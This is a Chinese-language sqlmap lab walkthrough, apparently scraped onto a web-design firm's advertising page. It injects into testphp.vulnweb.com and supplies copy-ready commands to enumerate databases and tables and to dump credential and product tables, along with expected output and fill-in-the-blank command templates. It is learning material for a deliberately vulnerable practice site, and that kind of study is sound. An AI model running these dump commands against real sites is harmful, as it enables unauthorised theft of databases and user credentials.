锦州市网站建设_网站建设公司_营销型网站_seo优化
2025/12/28 10:49:27 网站建设 项目流程

一、前期准备

1. 工具环境

  • 工具:sqlmap - 中文汉化 - 1.8.1.6(运行目录:~/sqlmap-中文汉化-1.8.1.6
  • 运行命令前缀:python3 sqlmap.py
  • 系统环境:Kali Linux(终端提示符:┌──(root💀HackPts)-[~/sqlmap-中文汉化-1.8.1.6]

2. 测试靶场选择(关键避坑点)

靶场类型地址问题 / 优势
初始尝试(DVWA)http://192.168.1.4/dvwa缺点:PHPSESSID 会话易失效,sqlmap 被重定向到login.php,检测失败
最终成功(公开)http://testphp.vulnweb.com/artists.php?artist=1优势:无登录态、100% 有注入漏洞、外网可访问、支持完整数据提取

3. 靶场核心信息(提前知晓)

  • 后端数据库:MySQL ≥ 5.6
  • Web 服务器:Linux Ubuntu + Nginx 1.19.0 + PHP 5.6.40
  • 核心注入参数:GET 参数artist(URL 自带?artist=1
  • 可提取数据库:2 个(acuart业务库、information_schema系统库)
  • 关键表:acuart库下 8 张表(users用户表、products商品表为核心)

二、完整操作流程(按顺序执行,可直接复制)

步骤 1:验证连通性 + 检测注入点

操作目的:确认靶场可访问,检测artist参数是否可注入

bash

运行

python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch --dbs -v 1

参数说明

  • -u:指定目标 URL(必须带?artist=1参数)
  • --batch:自动确认所有交互选项(无需手动回车)
  • --dbs:提取所有数据库列表
  • -v 1:显示基础日志,便于排查问题

预期结果:✅ 识别 4 种注入类型:布尔盲注、报错注入、时间盲注、UNION 联合查询

✅ 提取 2 个数据库:acuart(业务库)、information_schema(系统库)

✅ 数据存储路径:/root/.local/share/sqlmap/output/testphp.vulnweb.com

步骤 2:提取acuart数据库的所有表

操作目的:定位核心表(users/products

bash

运行

python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch -D acuart --tables -v 1

参数说明

  • -D acuart:指定数据库(必须小写,与提取结果一致)
  • --tables:提取指定库的所有表

预期结果

plaintext

+-----------+ | artists | | carts | | categ | | featured | | guestbook | | pictures | | products | # 含真实商品数据 | users | # 用户表(靶场清空数据) +-----------+

步骤 3:提取users表的账号密码(脱裤尝试)

操作目的:尝试提取用户凭证(验证流程)

bash

运行

python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch -D acuart -T users -C username,password --dump -v 1

参数说明

  • -T users:指定表名
  • -C username,password:指定提取字段(英文逗号分隔)
  • --dump:导出字段数据(核心 “脱裤” 操作)

预期结果:表结构存在但数据为空(靶场防护,非操作错误)

plaintext

Database: acuart Table: users [1 entry] +----------+----------+ | username | password | +----------+----------+ | <blank> | <blank> | +----------+----------+

数据导出路径:/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv

步骤 4:提取products表的真实商品数据(验证流程)

操作目的:验证注入流程完整性(核心成功标志)

bash

运行

python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch -D acuart -T products -C id,name,price --dump -v 1

预期结果:提取到 3 条真实商品数据

plaintext

Database: acuart Table: products [3 entries] +----+---------------------------------------------------+-------+ | id | name | price | +----+---------------------------------------------------+-------+ | 1 | Network Storage D-Link DNS-313 enclosure 1 x SATA | 359 | | 2 | Web Camera A4Tech PK-335E | 10 | | 3 | Laser Color Printer HP LaserJet M551dn, A4 | 812 | +----+---------------------------------------------------+-------+

数据导出路径:/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/products.csv

三、关键细节与避坑点(必看)

1. 靶场相关

  • 核心 URL 不可错:http://testphp.vulnweb.com/artists.php?artist=1(必须带?artist=1
  • 靶场性质:OWASP 官方公开靶场,合法合规使用
  • 数据特点:users表空(防护)、products表有真实数据(验证用)

2. 命令参数

  • 大小写敏感:-D acuartacuart必须小写,错写会提取失败
  • --batch不可省:避免手动输入打断流程
  • -v 1:基础日志(排查问题可改-v 2

3. 常见问题排查

问题现象排查方案
无法连接目标 URL复制 URL 到浏览器,确认能打开、网络通畅
提取数据为空(非 users 表)检查-D/-T/-C名称是否与前一步结果一致(无空格、无错别字)
被重定向到 DVWA 登录页重新登录 DVWA(账号admin/ 密码password),立即复制最新PHPSESSID

四、复盘总结(核心收获)

1. 完整注入链路

检测注入点提取数据库列表提取目标库表列表提取目标表字段数据导出数据

2. 核心命令速记(公式化,不用死记完整命令)

操作命令公式(填空即可)
检测 + 提库python3 sqlmap.py -u "【靶场URL】" --batch --dbs -v 1
提表python3 sqlmap.py -u "【靶场URL】" --batch -D 【库名】 --tables -v 1
提数据python3 sqlmap.py -u "【靶场URL】" --batch -D 【库名】 -T 【表名】 -C 【字段】 --dump -v 1

3. 关键经验

  1. 新手优先选无登录态的公开靶场(如testphp.vulnweb.com),避开本地靶场配置坑
  2. 每步执行前,确认上一步结果(如先提库,再用库名提表)
  3. 数据为空≠操作失败,可能是靶场防护(换表验证即可)

补充(明天预习用)

✅ 重点练:SQLi Labs 第 21 关(Cookie 注入 + MD5 密文破解),流程会衔接今晚的内容,只新增 “密文解密” 步骤,不用额外记新命令~

✅ 复盘技巧:先按 “公式” 填参数,再复制执行,重点记 “流程逻辑” 而非 “完整命令”,练 2 遍就能记住。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询